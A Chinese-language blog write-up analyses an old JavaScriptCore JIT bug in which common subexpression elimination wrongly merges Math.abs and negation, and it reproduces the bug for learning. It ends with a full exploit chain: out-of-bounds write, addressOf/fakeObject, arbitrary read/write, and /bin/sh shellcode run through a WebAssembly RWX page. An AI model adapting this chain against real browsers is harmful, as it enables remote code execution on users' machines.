一
前言
最近尝试阅读 复现这个漏洞主要是学习下DFG jit
相关源码,但是无从下手,网上资料甚少并且代码量巨大,所以笔者对应JSC
的学习路线还是从相关CVE
中去学习一些有关JSC
的基础知识,这里逐渐积累,等到合适的时候,再去尝试阅读源码,该漏洞比较老了,但是复现漏洞不是目的,重要的是学习一些知识。CSE
优化这个知识点,其实挺简单的。CSE
即公共子表达式消除,其主要的操作就是将多个相同的表达式替换成一个变量,这个变量存储着计算该表达式后所得到的值,考虑如下代码:
let a = b * c + g;
let d = b * c + e;
上述代码可能会被优化成如下代码:
let temp = b * c;
let a = temp + g;
let d = temp + e;
这样就避免了b * c
表达式的重复运算,但是并非所有情况下都可以进行CSE
优化,考虑如下代码:
let a = obj.x
f(); // <===== side effect
let b = obj.x
这里我们就不可以将其优化为如下代码:
let temp = obj.x;
let a = temp;
f(); // <===== side effect
let b = temp;
理由很简单,f()
存在side effect
,即obj
对象可能在f()
中被修改,比如如下代码:
function f() {
obj.x = 2;
}
let obj = {x:1};
let a = obj.x; // a = 1
f(); // <====== change obj.x
let b = obj.x; // a = 2
如果这里将其优化,则导致a = b = 1
从而出现错误,那么JIT
编译器是如果判断公共子表达式是否可以进行消除呢?对于JSC
而言,其会在DFG
阶段收集相关信息,然后在FTL
阶段利用收集的信息判断是否进行CSE
优化,收集信息阶段主要在DFGClobberize
函数中进行,这个我们后面再看。
二
环境搭建
手动引入patch
然后编译即可:
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFucase ArithAbs:
if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else {
read(World);
write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
if (node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else {
read(World);
write(Heap);
三
漏洞分析
可以看到上述补丁主要打在了clobberize
函数中,通过前面的铺垫,可以知道这里应该就是DFG
收集相关信息时出现错误,从而导致在FTL
阶段发生错误的优化,定位到源码:
这里代码很长,所以只需要定位关键代码即可
template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor, typename ClobberTopFunctor>
void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def, const ClobberTopFunctor& clobberTopFunctor)
{
......
case ArithAbs:
if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
def(PureValue(node));
//def(PureValue(node, node->arithMode()));
else
clobberTop();
return;
......
case ArithNegate:
if (node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
def(PureValue(node));
//def(PureValue(node, node->arithMode()));
else
clobberTop();
return;
......
这里可以看到patch
代码仅仅给PureValue
函数添加了一个参数node->arithMode()
,这里根据p0
的文章可以知道:
The def() of the PureValue here expresses that the computation does not rely on any context and thus that it will always yield the same result when given the same inputs. However, note that the PureValue is parameterized by the ArithMode of the operation, which specifies whether the operation should handle (e.g. by bailing out to the interpreter) integer overflows or not. The parameterization in this case prevents two ArithMul operations with different handling of integer overflows from being substituted for each other. An operation that handles overflows is also commonly referred to as a “checked” operation, and an “unchecked” operation is one that does not detect or handle overflows.
加上node->arithMode()
表示说具体不同整数溢出处理方式的操作不能替换,然后操作根据是否检查溢出分为checked operation
和unchecked operation。
所以这里的漏洞就比较明显了,def(PureValue(node));
表示能否进行替换只与输入的值有关,对于ArithNegate
而言,其是unchecked operation
,当value = TYPE_MIN
时会发生溢出,即-TYPE_MIN = TYPE_MIN
;对于ArithAbs
而言,其是checked operation
,当value = TYPE_MIN
时,其会进行符合扩展去处理溢出情况,所以abs(TYPE_MIN) = |TYPE_MIN|
;而ArithNegate
与ArithAbs
操作是可以产生相同的效果的,比如-(-1) = abs(-1)
,所以对于如下代码是可以进行优化的:
let a = -(-1) = 1;
let b = abs(-1) = 1;
==>
let a = -(-1) = 1;
let b = a = 1;
上面优化看似不存在问题,但是当发生溢出时就会出现问题,比如如下代码:
let a = -TYPE_MIN = TYPE_MIN;
let b = abs(TYPE_MIN) = |TYPE_MIN|;
==>
let a = -TYPE_MIN = TYPE_MIN;
let b = a = TYPE_MIN
可以看到这里优化CSE
优化导致b
的值发生错误,其本来应该为|TYPE_MIN|
,但是编译器却认为其为TYPE_MIN
,其实这就是这个漏洞的全部原理了。poc
如下:
function f(n) {
if (n < 0) {
let a = -n;
let b = Math.abs(n);
return b;
}
return 0;
}for (let i = 0; i < 0xd0000; i++) {
f(-2);
}print(f(-0x80000000));
// output: -2147483648
可以看到这里输出的b = -2147483648 = -0x80000000
,来简单看看字节码。
首先看看f
产生的字节码:
[ 0] enter
[ 1] jnless lhs:arg1, rhs:Int32: 0(const0), targetLabel:49(->50)
[ 5] mov
[ 8] mov
[ 11] negate dst:loc5, operand:arg1, profileIndex:0, resultType:126
[ 16] resolve_scope
[ 23] get_from_scope
[ 32] get_by_id
[ 38] mov
[ 41] call dst:loc6, callee:loc7, argc:2, argv:16, valueProfile:3
[ 48] ret
[ 50] ret value:Int32: 0(const0)
[11] negate
表示的就是-n
,[41] call
表示的就是Math.abs(n)
,来看下在DFG
后的字节码。
可以看到[11] negate
被展开为如下IR
:
[41] call
被展开为如下IR
:
即:
[11] negate
CountExecution
GetLocal
ArithNegate(Int32:Kill:D@63, Int32|PureInt, Int32, Unchecked, bc#11, ExitValid)
MovHint
[41] call
CountExecution
FilterCallLinkStatus
ArithAbs(Int32:D@33, Int32|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, Int32, CheckOverflow, Exits, bc#41, ExitValid)
Phantom
Phantom
MovHint
可以看到 接下来看看ArithNegate
是unchecked
的,而ArithAbs
是CheckOverflow
的,即ArithNegate
与ArithAbs
具有不同的溢出处理机制。FTL
阶段:
即:
[11] negate
CountExecution
ArithNegate(Int32:Kill:D@63, Int32|PureInt, Int32, Unchecked, bc#11, ExitValid)
KillStack
ZombieHint
[41] call
CountExecution
FilterCallLinkStatus
KillStack
MovHint
可以看到这里ArithAbs
被优化掉了,即编译器认为ArithNegate
与ArithAbs
在操作数是负数时是等效的,但是上面说了这两个操作对于溢出的处理情况是不同的,所以这两个操作并不是完全等效的。
四
漏洞利用
接下来就该考虑如何去进行利用了,总结一下上面漏洞的效果:
◆一个运行时不一致的TYPE_MIN
后面的利用有点类似于V8
中消除CheckBounds
节点,即利用编译器检查时与运行时不一致漏洞去消除边界检查,考虑如下代码:
function trigger(arr, n) {
if (n < arr.length) { // 【1】
if (n & 3) {
n += -2; // 【2】
}
if (n >= 0) { // 【3】
return arr[n];
}
}
}var arr = [1.1, 2.2, 3.3, 4.4];
for (let i = 0; i < 0xd0000; i++) {
trigger(arr, 2);
}trigger(arr, 3);
可以看到这里 来看下【1】
处首先保证了n < arr.length
,【2】
处为减二,所以n < arr.length-2 < arr.length
,【3】
处保证了n >= 0
,所以编译器最后会推断arr[n]
中的n
的范围在[0, arr.length)
之间,所以其肯定不会发生越界,所以其会进行消除边界检查优化。trigger
函数的字节码:
[ 0] enter
[ 1] get_by_id dst:loc5, base:arg1, property:0, valueProfile:1
[ 7] jnless lhs:arg2, rhs:loc5, targetLabel:31(->38)
[ 11] bitand dst:loc5, lhs:arg2, rhs:Int32: 3(const0), profileIndex:0, operandTypes:OperandTypes(126, 3)
[ 17] jfalse condition:loc5, targetLabel:9(->26)
[ 20] add dst:arg2, lhs:arg2, rhs:Int32: -2(const1), profileIndex:1, operandTypes:OperandTypes(126, 3)
[ 26] jngreatereq lhs:arg2, rhs:Int32: 0(const2), targetLabel:12(->38)
[ 30] get_by_val dst:loc5, base:arg1, property:arg2, valueProfile:2
[ 36] ret value:loc5
[ 38] ret value:Undefined(const3)
这里主要关注get_by_val
字节码,来看看DFG
阶段:
[ 30] get_by_val dst:loc5, base:arg1, property:arg2, valueProfile:2
CountExecution
GetLocal
GetLocal
GetButterfly
GetByVal
MovHint
ValueRep
这里我们主要关注下GetButterfly
和GetByVal
:
GetButterfly(Cell:D@52, Storage|PureInt, R:JSObject_butterfly, bc#30, ExitValid)
0x7f4ab176c111: movq 0x8(%rax), %rdx <=== rax = obj_arr; rdx = butterflyGetByVal(KnownCell:D@52, Int32:D@53, Check:Untyped:D@86, Double|MustGen|VarArgs|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#30, ExitValid) predicting NonIntAsDouble
0x7f4ab176c115: cmpl -0x8(%rdx), %esi <=== -0x8(%rdx) = arr_len; esi = n
0x7f4ab176c118: jnb 0x7f4ab176c303
0x7f4ab176c11e: vmovsdq (%rdx,%rsi,8), %xmm0
0x7f4ab176c123: vucomisd %xmm0, %xmm0
0x7f4ab176c127: jp 0x7f4ab176c319
从汇编代码可以看到在DFG
阶段并没有消除数组的边界检查,其还是会检查n
是否越界,所以我们再来看下FTL
阶段:
GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@66, Check:Untyped:D@10, Double|MustGen|VarArgs|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#30, ExitValid) predicting NonIntAsDouble
这里的GetByVal
节点与DFG
阶段的似乎没啥不同,所以还是得看汇编代码,但是这里json
似乎没有FTL
阶段的汇编代码,所以只能动态调试了,这里调试可以知道:
0x7fffa93e8089 mov edx, eax
0x7fffa93e808b vmovsd xmm0, QWORD PTR [rcx+rdx*8]
→ 0x7fffa93e8090 vucomisd xmm0, xmm0
0x7fffa93e8094 jp 0x7fffa93e814d
0x7fffa93e809a vmovq rax, xmm0
那么回到原漏洞利用中,我们该如何利用漏洞去消除边界检查呢?其实关键就是编译器推断时与实际运行时的值不相同,考虑如下rcx = butterfly; rax = n
,所以这里是直接进行读取butterfly[n]
,并没有对n
进行检查,因为编译器推断此时n
是在数组范围内的。poc
:
function trigger(arr, n) {
if (n < 0) { // 排除大于 0 的情况,因为 -n 与 Math.abs(n) 只在 n < 0 时才可以相互替换
let a = -n;
let b = Math.abs(n); // 推断时 b = 0x80000000, 运行时 b = -0x80000000
if (b < arr.length) {
// 确保 n < arr.length, 所以在推断时 b = 0x80000000 > arr.length,
// 编译器认为其不会进入以下分支
// 但是在实际运行时,b = -0x80000000 < arr.length
//所以其实会进入该分支
if (b & 0x80000000) {
// 对于 0x80000000 单独处理,将其转换为一个任意的数
b += -0x7ffffffb;
}if (b >= 0) { // 确保 b >= 0
// 走到这里,编译器会认为 b 的范围在 [0, arr.length) 之间
// 所以会消除边界检查
return arr[b];
}
}
}
}var noCOW = 13.37;
var arr = [noCOW, 1.1, 2.2, 3.3];
var tmp = [noCOW, 1.1, 2.2, 3.3];
for (let i = 0; i < 0x100000; i++) {
trigger(arr, -2);
}print(trigger(arr, -0x80000000));
poc
的原理我注释已经写的很清楚了,就不多说了,最后输出如下:
可以看到这里成功完成越界读,越界写简单修改下代码为 有了越界地址读写后面其实就比较简单,我们可以利用该漏洞越界写修改相邻数组的arr[b] = val
即可,poc
的一些构造细节可以参考p0
的文章,其poc
写的更加好,解析的也很详细。butterfly
的 “容量和长度”,这样就有了一个越界数组,后面就是构造addressOf/fakeObject
原语,然后套模板就行了,就不多说了。
exploit
如下:
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}function set_u64(val) {
u64[0] = val;
}function set_l(l) {
u32[0] = l;
}function set_h(h) {
u32[1] = h;
}function get_l() {
return u32[0];
}function get_h() {
return u32[1];
}function get_u64() {
return u64[0];
}function get_f64() {
return f64[0];
}function get_fl(val) {
f64[0] = val;
return u32[0];
}function get_fh(val) {
f64[0] = val;
return u32[1];
}function hexx(str, val) {
print(str+": 0x"+val.toString(16));
}function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}function trigger(arr, n) {
if (n < 0) {
let a = -n;
let b = Math.abs(n);
if (b < arr.length) {
if (b & 0x80000000) {
b += -0x7ffffff7;
}if (b >= 0) {
arr[b] = 1.04380972981885e-310;
}
}
}
}
var noCOW = 13.37
var arr = [noCOW, 1.1, 2.2, 3.3];
var oob_array = [noCOW, 1.1, 2.2, 3.3];
var victim_array = [noCOW, 1.1, 2.2, 3.3];
arr.prop = {};
arr.brop = {};
oob_array.prop = {};
oob_array.brop = {};
victim_array.prop = {};
victim_array.brop = {};for (let i = 0; i < 0xd0000; i++) {
trigger(arr, -2);
}trigger(arr, -0x80000000);
hexx("oob_array.length", oob_array.length);function addressOf(obj) {
victim_array.prop = obj;
return f64_to_u64(oob_array[8]);
}function fakeObject(addr) {
oob_array[8] = u64_to_f64(addr);
return victim_array.prop;
}//hexx("arr_addr", addressOf(arr));
function leakStructureID(obj) {
let container = {
jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
butterfly: obj
};let fake_object_addr = addressOf(container) + 0x10n;
let fake_object = fakeObject(fake_object_addr);
let num = f64_to_u64(fake_object[0]);let structureID = num & 0xffffffffn;
container.jscell = f64[0];
return structureID;
}var noCOW = 1.1;
var arrs = [];
for (let i = 0; i < 100; i++) {
arrs.push([noCOW]);
}
var ID = [noCOW];//debug(describe(ID));
var structureID = leakStructureID(ID);
hexx("structureID", structureID);var victim = [noCOW, 1.1, 2.2];
victim['prop'] = 3.3;
victim['brob'] = 4.4;var container = {
jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
butterfly: victim
};var container_addr = addressOf(container);
var driver_addr = container_addr + 0x10n;
var driver = fakeObject(driver_addr);//debug(describe(victim));
//debug(describe(driver));var unboxed = [noCOW, 1.1, 2.2];
var boxed = [{}];driver[1] = unboxed;
var sharedButterfly = victim[1];
hexx("sharedButterfly", f64_to_u64(sharedButterfly));
//debug(describe(unboxed));driver[1] = boxed;
victim[1] = sharedButterfly;function new_addressOf(obj) {
boxed[0] = obj;
return f64_to_u64(unboxed[0]);
}function new_fakeObject(addr) {
unboxed[0] = u64_to_f64(addr);
return boxed[0];
}function read64(addr) {
driver[1] = new_fakeObject(addr + 0x10n);
return new_addressOf(victim.prop);
}function write64(addr, val) {
driver[1] = new_fakeObject(addr + 0x10n);
victim.prop = u64_to_f64(val);;
}function ByteToDwordArray(payload) {
let sc = [];
let tmp = [];
let len = Math.ceil(payload.length / 6);
for (let i = 0; i < len; i += 1) {
tmp = 0n;
pow = 1n;
for(let j = 0; j < 6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0n;
}
pow = j==0 ? 1n : 256n * pow;
tmp += c * pow;
}
tmp += 0xc000000000000n;
sc.push(tmp);
}
return sc;
}function arb_write(addr, payload) {
let sc = ByteToDwordArray(payload);
for(let i = 0; i < sc.length; i++) {
write64(addr, sc[i]);
addr += 6n;
}
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;var pwn_addr = new_addressOf(pwn);
var rwx_ptr = read64(pwn_addr+0x30n);
var rwx_addr = read64(rwx_ptr);
hexx("rwx_addr", rwx_addr);
var shellcode =[90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];arb_write(rwx_addr, shellcode);
pwn();
效果如下:
五
总结
通过复现该漏洞,笔者对 然后在参考文章中,作者写了他是如何发现这个漏洞的,这个漏洞并不是 从作者发现该漏洞的历程中,也让我反思自己,自己在看代码时完全没有思考过为什么,其实还是自己不善于思考,这也许就是我与大佬的差距吧。CSE
优化有了一个大致的了解,并且对一些优化的细节有了更加深刻的理解。然后比较重要的是学到了在JSC
中如何消除边界检查从而完成越界读写。fuzz
出来的,作者也说明了该类漏洞fuzz
的困难性,而作者发现这个漏洞的原因是因为作者在审计代码时发现有的操作没有设置arithMode
,而有的操作却设置了arithMode
,所以作者就想为什么有的操作需要设置arithMode
,而有的操作却不需要设置arithMode
,于是作者就搜索相关没有设置arithMode
的操作,从而发现了该漏洞。
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html
看雪ID:XiaozaYa
https://bbs.kanxue.com/user-home-965217.htm
# 往期推荐
3、CVE-2023-4427:ReduceJSLoadPropertyWithEnumeratedKey 中的越界访问
球分享
球点赞
球在看
点击阅读原文查看更多